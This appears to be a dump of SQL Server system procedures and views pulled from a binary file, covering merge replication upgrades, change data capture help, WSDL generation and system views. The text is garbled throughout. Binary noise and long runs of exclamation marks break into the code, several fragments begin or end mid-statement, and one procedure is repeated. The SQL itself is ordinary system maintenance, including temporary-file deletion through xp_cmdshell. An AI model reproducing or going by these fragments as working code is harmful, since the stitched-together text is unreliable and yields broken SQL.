    @mark_expired_as_failed_attach bit= 0
as
    declare @publication sysname
    declare @lastsyncdate datetime
    declare @REPLICA_STATUS_BeforeRestore tinyint
    declare @REPLICA_STATUS_AttachFailed tinyint
    declare @retention int
    declare @retention_period_unit tinyint
    declare @pubid uniqueidentifier
    declare @subid uniqueidentifier

    set @REPLICA_STATUS_BeforeRestore= 7
    set @REPLICA_STATUS_AttachFailed= 6

    -- Check for expired subscriptions this replica is subscribing to.
    declare PC cursor local fast_forward for
        select p.name,
               p.retention, 
               p.retention_period_unit,
               s.pubid,
               s.subid,
               s.last_sync_date
            from dbo.sysmergepublications p join dbo.sysmergesubscriptions s
                on p.pubid=s.pubid
                where upper(s.subscriber_server) collate database_default=upper(@@servername) collate database_default and
                       isnull(p.retention,0)<>0 and
                      s.db_name=db_name() and
                      s.pubid<>s.subid and -- Skip subscriptions that represent publications.
                      s.status<>@REPLICA_STATUS_BeforeRestore and
                       s.last_sync_date < sys.fn_add_units_to_date(-p.retention,p.retention_period_unit, getdate())
                       
    open PC
    fetch PC into @publication, @retention,@retention_period_unit, @pubid, @subid, @lastsyncdate
    while @@fetch_status<>-1
    begin
        raiserror(21307, 10, -1, @publication)

        if 1=@mark_expired_as_failed_attach
        begin
            update dbo.sysmergesubscriptions
                set status= @REPLICA_STATUS_AttachFailed
                where pubid=@pubid and subid=@subid
        end

        fetch PC into @publication, @retention,@retention_period_unit, @pubid, @subid, @lastsyncdate
    end

    close PC
    deallocate PC

    return 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
%
[`5<rwp
(0\ 8CREATE FUNCTION sys.dm_exec_query_plan(@handle varbinary(64))
RETURNS TABLE
AS
	RETURN SELECT * FROM OPENROWSET(TABLE FNGETQUERYPLAN, @handle)
0SBa P8sh\>]D0	z 8
create procedure sys.sp_http_generate_wsdl_defaultcomplexorsimple 
	@EndpointID int,
	@IsSSL bit,
	@Host nvarchar(256),
	@QueryString nvarchar(256),
	@UserAgent nvarchar(256) as
begin
	select @QueryString = LOWER (@QueryString collate Latin1_General_CI_AS)
	if @QueryString = N'wsdl'
	begin
		exec sys.sp_http_generate_wsdl_complex @EndpointID, @IsSSL, @Host, N'wsdl', @UserAgent
		return
	end
	if @QueryString = N'wsdlsimple'
	begin
		exec sys.sp_http_generate_wsdl_simple @EndpointID, @IsSSL, @Host, N'wsdl', @UserAgent
		return
	end
	if @QueryString = N'wsdlcomplex'
	begin
		exec sys.sp_http_generate_wsdl_complex @EndpointID, @IsSSL, @Host, N'wsdl', @UserAgent
		return
	end
	raiserror(17885, 16, 1)
end
0| 8CREATE VIEW sys.dm_os_memory_cache_hash_tables AS
	SELECT *
	FROM OpenRowSet(TABLE SYSMEMORYCACHEHASHTABLES)
0 %8CREATE VIEW sys.availability_databases_cluster AS
	SELECT 
		group_id = agdbs.group_id,
		group_database_id = agdbs.group_database_id,
		database_name = CONVERT(sysname, agdbs.database_name)
	FROM OpenRowset(TABLE DM_AVAILABILITY_DATABASES_CLUSTER) agdbs
0v 8
create procedure [sys].[sp_cdc_help_change_data_capture]  				
(														
	@source_schema sysname = null,
	@source_name sysname = null
)														
as
begin
	set nocount on
	
	declare @retcode int,
		@capture_cnt int
		
    -- Verify database is currently enabled for change data capture
    if ([sys].[fn_cdc_is_db_enabled]() != 1)
    begin
		declare @db_name sysname
		set @db_name = db_name()
		raiserror(22901, 16, -1, @db_name)
        return 1
    end
	
	create table #capture_instances
	(
		capture_instance sysname collate database_default null,
		object_id int null
	)
	
	set @source_schema = rtrim(@source_schema)
	set @source_name   = rtrim(@source_name)
	
	-- Get a list of potential capture instances. 
	exec @retcode = sys.sp_cdc_get_capture_instances @source_schema, @source_name
	
	if @retcode <> 0
	begin
		return 1
	end			

	-- Eliminate from the list any entries that the caller is not
	-- authorized to access
	delete from #capture_instances
	where sys.fn_cdc_has_select_access(capture_instance) = 0
	
	-- If there are no elements in the #capture_instances and
	-- an explicit schema was entered, return error
	select @capture_cnt = count(*) from #capture_instances
	
	if (@capture_cnt = 0) and (@source_schema is not null)
	begin
		raiserror(22981, 16, -1)
		return 1 
	end
	
	-- Return information on capture instances 
	exec sys.sp_cdc_change_data_capture

	return 0
end																
0@b@ 8
create procedure sys.sp_MSenumreplicas90
as
    declare @inactive tinyint

    -- Security check
    declare @retcode int
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck 
    if (@retcode <> 0) or (@@error <> 0)
            return 1

    select @inactive = 0
    if object_id('sysmergesubscriptions') is NULL
    begin
        RAISERROR(20054 , 16, -1)
        return (1)
    end

    select subs.subid, subs.replnickname, 
           subs.subscriber_type, subs.subscription_type, 
           subs.priority, subs.schemaversion, subs.schemaguid, subs.datasource_type, NULL, subs.subscriber_server,  
           subs.db_name, subs.status, subs.replicastate, subs.sync_type, subs.description, subs.pubid, pubs.name, pubs.distributor,
           subs.replica_version
           from dbo.sysmergesubscriptions subs
           left outer join dbo.sysmergepublications pubs
           on subs.subid = pubs.pubid
           where subs.status <> @inactive
               and subs.subscriber_type = 1
               order by convert(binary, subs.subid)
    IF @@ERROR <>0 return (1) 
    return (0)
TABLE - style string for source type
--
-- Security:
--		Internal
--
-- Notes:
--		Used by the UI and RMO.  Oracle specific impelmentation.
--

CREATE FUNCTION sys.fn_ORAsourceinfo
(
	@type		sysname,
	@length		bigint,
	@prec		bigint,
	@scale		int,
	@nullable	bit
)
RETURNS
	varchar(512)
AS
BEGIN
	DECLARE @source_info	varchar(512)

	SELECT @type = UPPER(@type)

	IF @type = 'NUMBER'
	BEGIN
		IF (@prec IS NULL OR @scale IS NULL)
		BEGIN
			SELECT @source_info =	@type
		END
		ELSE
		BEGIN
			SELECT @source_info =	@type + '(' +
									CONVERT(varchar(10), @prec) + ',' +
									CONVERT(varchar(10), @scale) + ')'
		END
	END
	ELSE IF @type IN ('CHAR', 'VARCHAR2', 'NCHAR', 'NVARCHAR2', 'RAW')
	BEGIN
		SELECT @source_info = @type + '(' + CONVERT(varchar(10), @length) + ')'
	END
	ELSE
	BEGIN
		SELECT @source_info = @type
	END

	RETURN @source_info
END
0v 8
create procedure [sys].[sp_cdc_help_change_data_capture]  				
(														
	@source_schema sysname = null,
	@source_name sysname = null
)														
as
begin
	set nocount on
	
	declare @retcode int,
		@capture_cnt int
		
    -- Verify database is currently enabled for change data capture
    if ([sys].[fn_cdc_is_db_enabled]() != 1)
    begin
		declare @db_name sysname
		set @db_name = db_name()
		raiserror(22901, 16, -1, @db_name)
        return 1
    end
	
	create table #capture_instances
	(
		capture_instance sysname collate database_default null,
		object_id int null
	)
	
	set @source_schema = rtrim(@source_schema)
	set @source_name   = rtrim(@source_name)
	
	-- Get a list of potential capture instances. 
	exec @retcode = sys.sp_cdc_get_capture_instances @source_schema, @source_name
	
	if @retcode <> 0
	begin
		return 1
	end			

	-- Eliminate from the list any entries that the caller is not
	-- authorized to access
	delete from #capture_instances
	where sys.fn_cdc_has_select_access(capture_instance) = 0
	
	-- If there are no elements in the #capture_instances and
	-- an explicit schema was entered, return error
	select @capture_cnt = count(*) from #capture_instances
	
	if (@capture_cnt = 0) and (@source_schema is not null)
	begin
		raiserror(22981, 16, -1)
		return 1 
	end
	
	-- Return information on capture instances 
	exec sys.sp_cdc_change_data_capture

	return 0
end																
00@ d8CREATE view sys.dm_cdc_errors
as
	SELECT 
	    [session_id]
        ,[phase_number]
        ,[entry_time]
        ,[error_number]
        ,[error_severity]
        ,[error_state]
        ,[error_message]
        ,[start_lsn]
        ,[begin_lsn]
        ,[sequence_value]
	FROM OpenRowset(TABLE DM_CDC_ERRORS)
0̐@ D8h
$
00 8create procedure sys.sp_MSrepl_helptext @procname nvarchar(4000)
as
begin
	declare @max_row_number int, @row_number int, @definition nvarchar(max), @objid int

	select @objid = object_id(@procname)
	if @objid is null
	begin
		declare @db_name nvarchar(130)
		select @db_name = db_name()
		raiserror(15009,16, -1, @procname, @db_name)
		return 1
	end
		
	select @max_row_number = max(colid) 
	from dbo.syscomments
    where id = @objid
	
	select @row_number = 1, @definition = N''
	while @row_number <= @max_row_number
	begin
		select @definition = @definition + text 
		from dbo.syscomments
		where id = @objid
		and colid = @row_number
		
		select @row_number = @row_number + 1
	end
	
	select @definition

	return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!V
cc`<(x)Tv}create procedure sys.sp_vupgrade_subscription_tables
as
begin

    -- raiserror('sp_vupgrade_subscription_tables', 0,1) with nowait

    set nocount on 

    DECLARE @table_name sysname
    declare @retcode int
    declare @column_name nvarchar(128)
    declare @column_type nvarchar(128)
    declare @alter_cmd nvarchar(max)

    -- Safety check - with Yukon, there are now objects in the dist db that can make
    -- a distribution db look like a publisher db.  In case the previous checks for
    -- distribution db mode fail, this is a last ditch check to make sure we don't
    -- add stuff to the distribution db
    IF sys.fn_MSrepl_isdistdb(DB_NAME()) = 1 OR
       object_id(N'dbo.IHpublishers', 'U') IS NOT NULL OR
       object_id(N'dbo.syspublications', 'V') IS NOT NULL OR
       object_id(N'dbo.MSdistribution_history', 'U') IS NOT NULL
    BEGIN
        -- The above evidence makes it extremely likely this is a distribution db
        -- Don't do anything further
        RETURN (0)
    END

    begin tran
    save tran sp_vupgrade

    --  dbo.MSpeer_lsns
    if object_id('dbo.MSpeer_lsns') is not null and not EXISTS (select * from sys.objects where name = 'syspublications') --read-only subscriptions 
    begin

       -- add columns originator_version and originator_id
       if not exists(select * from sys.columns where object_id = object_id('dbo.MSpeer_lsns') and name = 'originator_version')
       begin
       	select @alter_cmd = 'alter table dbo.MSpeer_lsns add originator_version int NULL'
		exec (@alter_cmd)
       end 

       if not exists(select * from sys.columns where object_id = object_id('dbo.MSpeer_lsns') and name = 'originator_id')
       begin
       	select @alter_cmd = 'alter table dbo.MSpeer_lsns add originator_id int NULL'
		exec (@alter_cmd)
       end 
       
	-- Changing index PK from clustered to non-clustered
	-- drop clustered PK so we can drop index
	declare @PKConstraintName sysname
	select top 1 @PKConstraintName = sysdc.name from sys.key_constraints sysdc 
		where sysdc.parent_object_id = object_id('dbo.MSpeer_lsns')
			and sysdc.type = 'PK'
	if @PKConstraintName is not null
	begin
		select @alter_cmd = 'alter table dbo.MSpeer_lsns drop constraint ' + QUOTENAME(@PKConstraintName)
		exec (@alter_cmd)   -- drop primary key (also drops clustered key index)
	end
	select @alter_cmd = 'alter table dbo.MSpeer_lsns add constraint ' + QUOTENAME(@PKConstraintName) + ' PRIMARY KEY NONCLUSTERED (id)'
	exec (@alter_cmd) -- Make PK w/ index unclustered
	
	
       -- Changing index uci_MSpeer_lsns from (originator, originator_db, originator_publication, originator_publication_id, originator_db_version, originator_lsn)
       -- to (originator, originator_db, originator_publication_id, originator_db_version, originator_lsn) 
	if exists (select * from sys.indexes where name = 'uci_MSpeer_lsns' and object_id = object_id('dbo.MSpeer_lsns'))
	begin
	    -- drop old index
	    drop index dbo.MSpeer_lsns.uci_MSpeer_lsns
	end
	if exists(select * from sys.columns where object_id = object_id('dbo.MSpeer_lsns') and name = 'originator')
		and exists(select * from sys.columns where object_id = object_id('dbo.MSpeer_lsns') and name = 'originator_db')
		and exists(select * from sys.columns where object_id = object_id('dbo.MSpeer_lsns') and name = 'originator_publication_id')
		and exists(select * from sys.columns where object_id = object_id('dbo.MSpeer_lsns') and name = 'originator_db_version')
		and exists(select * from sys.columns where object_id = object_id('dbo.MSpeer_lsns') and name = 'originator_lsn')
	begin
		-- create new one
	       create unique clustered index uci_MSpeer_lsns on dbo.MSpeer_lsns(originator, originator_db, originator_publication_id, originator_db_version, originator_lsn)
       end

        if exists (select * from sys.columns where object_id = object_id('dbo.MSpeer_lsns') and name = N'last_updated' and is_nullable = 0)
        	alter table dbo.MSpeer_lsns alter column last_updated datetime null

        if exists (select * from sys.columns where object_id = object_id('dbo.MSpeer_lsns') and name = N'originator_publication_id' and is_nullable = 0)
        	alter table dbo.MSpeer_lsns alter column originator_publication_id int null
        if exists (select * from sys.columns where object_id = object_id('dbo.MSpeer_lsns') and name = N'originator_db_version' and is_nullable = 0)
        	alter table dbo.MSpeer_lsns alter column originator_db_version int null
        if exists (select * from sys.columns where object_id = object_id('dbo.MSpeer_lsns') and name = N'originator_lsn' and is_nullable = 0)
        	alter table dbo.MSpeer_lsns alter column originator_lsn varbinary(16) null

        if not exists (select * from sys.indexes where name = 'nci_MSpeer_lsns' and object_id = object_id('dbo.MSpeer_lsns'))
	begin
		create index nci_MSpeer_lsns on dbo.MSpeer_lsns (originator_publication)
	end 

    end
    
    --
    -- drop MSrepl_identity_range
    --
    if object_id(N'dbo.MSrepl_identity_range') is not NULL
    begin
        drop table dbo.MSrepl_identity_range
    end

    --    Create unique index on tables that did not have one previously. The index is not created
    --    if duplicates rows exist in the table. 

    --    MSreplication_subscriptions (SQL7.0 SP1)
    SELECT @table_name = N'MSreplication_subscriptions'
    IF EXISTS ( SELECT * FROM sys.objects WHERE name = 'MSreplication_subscriptions' ) or 
        EXISTS ( SELECT * FROM sys.objects WHERE name = 'MSsubscription_agents' )
    BEGIN
        IF EXISTS ( SELECT publication, publisher_db, publisher, subscription_type 
            FROM MSreplication_subscriptions
            GROUP BY publication, publisher_db, publisher, subscription_type
            HAVING COUNT(*) > 1 )
            RAISERROR (21203, 10, 1, @table_name)
        ELSE
            IF NOT EXISTS ( SELECT * FROM sysindexes WHERE name = 'uc1MSReplication_subscriptions' AND
                id = OBJECT_ID('MSreplication_subscriptions') )
                CREATE UNIQUE CLUSTERED INDEX uc1MSReplication_subscriptions ON
                MSreplication_subscriptions(publication, publisher_db, publisher, subscription_type)
        
        -- Create MSsubscription_agents table 
        exec @retcode = sys.sp_MScreate_sub_tables_internal
            @tran_sub_table = 1,
            @property_table = 0,
            @sqlqueue_table = 0
        IF @@ERROR <> 0 or @retcode <> 0
                goto UNDO

        -- Add new columns to MSsubscription_agents, for 8.0 pre beta upgrade.
        declare colcurs cursor LOCAL FAST_FORWARD 
        for (select col_name, col_type from (select col_name = 'last_sync_status', col_type = 'int NULL'  -- status of the last sync (Shiloh)
                                                             union all
                                                             select col_name = 'last_sync_summary', col_type = 'sysname NULL'
                                                             union all
                                                             select col_name = 'last_sync_time', col_type = 'datetime NULL'
                                                             ) as t1                                                             
               left outer join
               sys.columns as t2
               on (t1.col_name = t2.name and t2.object_id = object_id('dbo.MSsubscription_agents', 'U'))
               where t2.name is null) --This query gives all the columns in t1 that are not in syscolums
        for read only
        open colcurs
        fetch colcurs into @column_name, @column_type
        if (@@fetch_status <> -1)
        begin
            select @alter_cmd = 'alter table dbo.MSsubscription_agents add ' + @column_name + ' ' + @column_type
            fetch colcurs into @column_name, @column_type
            while(@@fetch_status <> -1!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<lyI})
            begin
                select @alter_cmd = @alter_cmd + ', ' + @column_name + ' ' + @column_type
                fetch colcurs into @column_name, @column_type
            end
            exec (@alter_cmd)
            if @@error <> 0 goto UNDO
        end
        close colcurs
        deallocate colcurs
    END

    --    MSreplication_objects (SQL7.0 SP1)
    SELECT @table_name = N'MSreplication_objects'
    IF EXISTS ( SELECT * FROM sys.objects WHERE name = 'MSreplication_objects' ) 
    BEGIN
    		if exists (select * from sys.indexes where name = N'ucMSreplication_objects' 
            								and object_id = OBJECT_ID(N'dbo.MSreplication_objects')
            								and is_unique = 1)
            	begin	--remove uniqueness constraint
            		drop index ucMSreplication_objects on dbo.MSreplication_objects
            		CREATE CLUSTERED INDEX ucMSreplication_objects ON dbo.MSreplication_objects(object_name)
            	end
            	else
			IF NOT EXISTS ( SELECT * FROM sysindexes WHERE name = 'ucMSreplication_objects' AND
				id = OBJECT_ID('MSreplication_objects') )
				CREATE CLUSTERED INDEX ucMSreplication_objects ON dbo.MSreplication_objects(object_name)

				if not exists (select * from sys.columns where 
				    object_id = object_id('MSreplication_objects') and
				    name = 'article')
				begin
				    alter table dbo.MSreplication_objects add article sysname NULL
				    if @@error != 0
	               	goto UNDO
				end
    END

    --    MSreplication_queue (SQL2000 SP3)
    IF object_id(N'dbo.MSreplication_queue') is not null
    BEGIN
        --
        -- upgrade index
        --
        if exists (select * from sys.indexes where object_id = object_id(N'dbo.MSreplication_queue')
                            and name = N'nc1MSreplication_queue')
        begin
            drop index dbo.MSreplication_queue.nc1MSreplication_queue 
            CREATE NONCLUSTERED INDEX nc1MSreplication_queue ON
            MSreplication_queue(publisher, publisher_db, publication, tranid)
            IF @@ERROR <> 0 
                   goto UNDO
        end

        exec @retcode = sp_MScreate_sub_tables_internal
            @tran_sub_table = 0,
            @property_table = 0,
            @sqlqueue_table = 1
        IF @@ERROR <> 0 or @retcode <> 0
               goto UNDO
    END

    --    MSrepl_queuedtraninfo (SQL2000 SP3)
    IF object_id(N'dbo.MSrepl_queuedtraninfo') is not null
    BEGIN
        exec @retcode = sp_MScreate_sub_tables_internal
            @tran_sub_table = 0,
            @property_table = 0,
            @sqlqueue_table = 1
        IF @@ERROR <> 0 or @retcode <> 0
               goto UNDO
    END

    -- delete 'columns' column if it exists
    if object_id(N'dbo.MSsubscription_articles') is not null
    begin
        if exists (select * from sys.columns where name = N'columns' and object_id=object_id(N'dbo.MSsubscription_articles'))
        begin
            alter table MSsubscription_articles drop column columns
        end
    end

	if @@trancount > 0
		commit tran
	return 0
	
UNDO:
	if @@trancount > 0
	begin
		rollback tran sp_vupgrade
		commit tran
	end
	return 1
end
>>+ ', origin_datasource_id)' )
                if @@ERROR <> 0 goto ErrorReturn
            end
            
ErrorReturn:
            if @@ERROR<>0
            begin
                close AC
                deallocate AC            
                return (1)
            end
        end
    end
    fetch next from AC into @conflict_table, @objid
end
close AC
deallocate AC
return (0)
~qx~q   
NextArticle:

        fetch next from #identity_articles into @pubid, @publisher, @publisher_db, @objid, @artid
    end
    close #identity_articles
    deallocate #identity_articles
    return 0

FAILURE_CLOSE_TRAN:
    rollback tran art_ident_update

FAILURE:
    close #identity_articles
    deallocate #identity_articles
    return 1    
b6be = 'unc1syspublications' and object_id = object_id('dbo.syspublications') )
        begin
           drop index dbo.syspublications.unc1syspublications 
        end
        if not exists ( select * from sys.indexes where name = 'uc1syspublications' and object_id = object_id('dbo.syspublications') )
        begin
            create unique clustered index uc1syspublications
                on syspublications (pubid)
        end
        --
        -- Upgrade updating publications
        -- 
        exec @retcode = sys.sp_vupgrade_updatingpublicationarticle
        if @@error != 0 or @retcode != 0 
            return 1
 
    	--if pk of base table is disabled or lo-based iv becomes regular view, 
		--reinit article per SQLBU#335193
		
		if object_id('dbo.sysarticles', 'U') is not null 
			and object_id('dbo.syssubscriptions', 'U') is not null 
			and DatabasePropertyEx(DB_NAME(), 'IsPublished') = 1
		begin
			exec sp_checkinvalidivarticle @mode = 0, @publication = NULL
		end
		
    end
    --
    -- all done
    --
end
@+@istpublishers CURSOR LOCAL FORWARD_ONLY for 
	            select password
	            from msdb.dbo.MSdistpublishers
	            for update of password
	            
	        open cur_MSdistpublishers
	        fetch next from cur_MSdistpublishers into @password
	        while ( @@fetch_status <> -1 )
	        begin
	            EXEC sys.xp_repl_convert_encrypt_sysadmin_wrapper @password OUTPUT

	            update msdb.dbo.MSdistpublishers
	            set password=@password
	            where current of cur_MSdistpublishers

	            fetch next from cur_MSdistpublishers into @password
	        end')
        if @@error <> 0 
        begin
            rollback transaction
            return 1
        end
    end
    commit transaction

    return (0)
end
} sys.fn_escapecmdshellsymbolsremovequotes(@temp_data_path) collate database_default + '"' 
        EXEC master.dbo.xp_cmdshell @cmd, NO_OUTPUT
    end

    if @temp_log_path is not null
    begin
        select @cmd = 'del "' + sys.fn_escapecmdshellsymbolsremovequotes(@temp_log_path) collate database_default + '"' 
        EXEC master.dbo.xp_cmdshell @cmd, NO_OUTPUT
    end

    if @retcode <> 0
    begin
        select @cmd = 'del "' + sys.fn_escapecmdshellsymbolsremovequotes(@filename) collate database_default + '"' 
        EXEC master.dbo.xp_cmdshell @cmd, NO_OUTPUT
    end

    return @retcode
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!r=
`<(zHv>create procedure sys.sp_MSUpgradeConflictTable
AS

declare @conflict_table sysname
declare @conflict_id    int
declare @objid            int
declare @qual_conflict    nvarchar(517)
declare @rgcol nvarchar(270)
declare @indname nvarchar(258)
declare @owner sysname
declare @constraint_name nvarchar(258)
declare @MSrepl_create_time_didnotexist bit
declare @cmd nvarchar(4000)

if object_id('MSmerge_delete_conflicts') is not NULL and 
    not exists (select * from sys.columns where object_id = object_id('MSmerge_delete_conflicts') and name = 'create_time')
begin
    alter table MSmerge_delete_conflicts add create_time datetime not null default getdate()
    if @@error<>0
        return 1
end


-- Get entries from MSmerge_delete_conflicts for all the articles.
if object_id('MSmerge_delete_conflicts') is not NULL and
   object_id('MSmerge_conflicts_info') is not NULL
begin                                        
    exec ('insert into MSmerge_conflicts_info(tablenick, 
                                    rowguid, 
                                    origin_datasource, 
                                    conflict_type, 
                                    reason_code, 
                                    reason_text, 
                                    pubid,
                                    MSrepl_create_time
                                    )
        select tablenick, rowguid, origin_datasource, conflict_type, reason_code, reason_text, pubid, create_time
            from MSmerge_delete_conflicts')
    if @@ERROR<>0 goto ErrorReturn
end                        

declare AC CURSOR LOCAL FAST_FORWARD for select conflict_table, objid from dbo.sysmergearticles 
open AC
fetch AC into @conflict_table, @objid
while (@@fetch_status<>-1)
begin
    if @conflict_table is NOT null
    begin
        set @constraint_name=NULL
        select @owner=schema_name(schema_id) from sys.objects where object_id = @objid
        select @rgcol = QUOTENAME(name) from sys.columns where object_id = @objid and
                    is_rowguidcol = 1

        select @qual_conflict = QUOTENAME(schema_name(schema_id)) + '.' + QUOTENAME(@conflict_table) from sys.objects where name = @conflict_table
        select @conflict_id = object_id(@qual_conflict)
        
        /*
        ** Upgrade conflict table so that it can get cleaned up later on
        */
        if @conflict_id is not NULL 
        and exists (select name from sys.columns where name='reason_code' and object_id=@conflict_id)
        and exists (select name from sys.columns where name='pubid' and object_id=@conflict_id)
        and exists (select name from sys.columns where name='reason_text' and object_id=@conflict_id)
        and exists (select name from sys.columns where name='conflict_type' and object_id=@conflict_id)
        and exists (select name from sys.columns where name='origin_datasource' and object_id=@conflict_id)
        begin
            if not exists (select name from sys.columns where name='MSrepl_create_time' and object_id=@conflict_id)
            begin
                set @MSrepl_create_time_didnotexist = 1                    
                exec ('alter table ' + @qual_conflict + ' add MSrepl_create_time datetime NULL ')
                if @@ERROR<>0 goto ErrorReturn
                exec (' update ' +     @qual_conflict + ' set MSrepl_create_time = getdate()')
                if @@ERROR<>0 goto ErrorReturn                
            end
            else
                set @MSrepl_create_time_didnotexist = 0

            if not exists (select name from sys.columns where name='origin_datasource_id' and object_id=@conflict_id)
            begin
                exec ('alter table ' + @qual_conflict + ' add origin_datasource_id uniqueidentifier not NULL default newid() ')
                if @@ERROR<>0 goto ErrorReturn
            end
            if object_id('MSmerge_conflicts_info') is not NULL
            begin
                exec ('insert into MSmerge_conflicts_info(tablenick, 
                                                    rowguid, 
                                                    origin_datasource, 
                                                    conflict_type, 
                                                    reason_code, 
                                                    reason_text, 
                                                    pubid,
                                                    MSrepl_create_time,
                                                    origin_datasource_id)
                    select 0, ' + @rgcol + ', origin_datasource, conflict_type, reason_code, reason_text, pubid, MSrepl_create_time, origin_datasource_id
                        from ' + @qual_conflict)
                if @@ERROR<>0 goto ErrorReturn
            end


            -- drop index built on conflict table based on rowguid and origin_datasource, 
            -- now that origin_datasource is no longer part of the conflict table schema

            select @indname = 'uc_' + @conflict_table
            if exists (select * from sysindexes where id = @conflict_id and name=@indname)
            begin
                set @indname = QUOTENAME(@indname)
                exec('drop index ' + @qual_conflict + '.' + @indname)
                if @@ERROR<>0 goto ErrorReturn
            end

            -- drop default constraints built on column MSrepl_create_time, so that we can drop the 
            -- column, now that it is no longer part of new conflict table schema

            select @constraint_name=object_name(constid) from sysconstraints where id=@conflict_id
            while (@constraint_name is not NULL)
            begin
                select @constraint_name = QUOTENAME(@constraint_name)

                exec ('alter table ' + @qual_conflict + ' drop constraint ' + @constraint_name)
                if @@ERROR<>0 goto ErrorReturn
                
                select @constraint_name = NULL    
                select @constraint_name=object_name(constid) from sysconstraints where id=@conflict_id                
            end

            select @cmd  = 'alter table ' + @qual_conflict + ' drop column reason_code, reason_text, pubid, conflict_type, origin_datasource'
            
            /* Shiloh RTM merge databases used to have the name of the conflict create_time column as create_time and not MSrepl_create_time */
            /* If create_time column exists and MSrepl_create_time does not exist, this clearly is the case of Shiloh RTM database - drop that column too */
            if @MSrepl_create_time_didnotexist = 1 and              
                exists (select name from sys.columns where name='create_time' and object_id=@conflict_id)
            begin
                select @cmd = @cmd + ', create_time'
            end

            if exists (select name from sys.columns where name='MSrepl_create_time' and object_id=@conflict_id)
            begin
                select @cmd = @cmd + ', MSrepl_create_time'
            end                    

            exec(@cmd)
            if @@ERROR<>0 goto ErrorReturn

            -- create index on new conflict table on rowguid column and origin_datasource_id column
            -- identified by new conflict table name
            select @indname = 'uc_' + @conflict_table + '_new'
            set @indname = QUOTENAME(@indname)

            if not exists (select * from sys.indexes where object_id = @conflict_id and index_id = 1)
                and exists (select * from sys.columns where object_id = @conflict_id and quotename(name) = @rgcol)
                and exists (select * from sys.columns where object_id = @conflict_id and name = 'origin_datasource_id')
            begin                
                exec ('Create unique clustered index ' + @indname + ' on ' + @qual_conflict +
                    ' (' + @rgcol !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<({v~qcreate procedure sys.sp_MSmerge_autoident_upgrade
as
    declare @retcode int
    declare @pubid uniqueidentifier
    declare @artid uniqueidentifier
    declare @tablename sysname
    declare @publisher sysname
    declare @publisher_db sysname
    declare @distributor sysname
    declare @distribdb sysname
    declare @proc sysname
    declare @objid int

    declare @pub_range bigint
    declare @pub_range_orig bigint
    declare @sub_range bigint
    declare @next_seed bigint
    declare @current_max bigint
    declare @max_identity bigint
    declare @threshold int
    declare @max_used numeric(38,0)
    declare @subid uniqueidentifier
    declare @root_pubid uniqueidentifier
    declare @is_republisher bit
    
    -- the design for auto identity range has changed in yukon.
    -- we will upgrade identity range management to use the new
    -- identity range meta data
    if object_id('dbo.sysmergearticles', 'U') is NULL
        return 0

    if not exists (select 1 from dbo.sysmergearticles where identity_support=1)
        return 0

    -- we need to connect to the distributor to get the ranges and the next_seed
    -- we will assign new ranges to publisher and subscriber on upgrade
    declare #identity_articles cursor LOCAL FORWARD_ONLY for 
        select pub.pubid, pub.publisher, pub.publisher_db, art.objid, art.artid
        from dbo.sysmergepublications pub
            inner join dbo.sysmergearticles art on pub.pubid = art.pubid
        where pub.publisher = publishingservername() and
              pub.publisher_db = db_name() and
              art.identity_support = 1
    open #identity_articles
    fetch #identity_articles into @pubid, @publisher, @publisher_db, @objid, @artid
    while (@@fetch_status<>-1)
    begin    
        select @pub_range   = 0
        select @sub_range   = 0
        select @threshold   = 0
        select @next_seed   = 0
        select @current_max = 0
        select @max_identity = 0

        -- get table name from objid
        select @tablename = object_name(@objid)
        
        -- don't do anything if we already have entries in MSmerge_identity_range table for the given article
        if exists (select 1 from dbo.MSmerge_identity_range 
                        where artid = @artid and is_pub_range = 0 and (sys.fn_MSmerge_islocalsubid(subid)=1)) and
           exists (select 1 from dbo.MSmerge_identity_range 
                        where artid = @artid and is_pub_range = 1 and (sys.fn_MSmerge_islocalsubid(subid)=1)) and
           exists (select 1 from dbo.sysmergearticles 
                        where pubid=@pubid and artid=@artid and pub_range is not NULL and range is not NULL)
            goto NextArticle

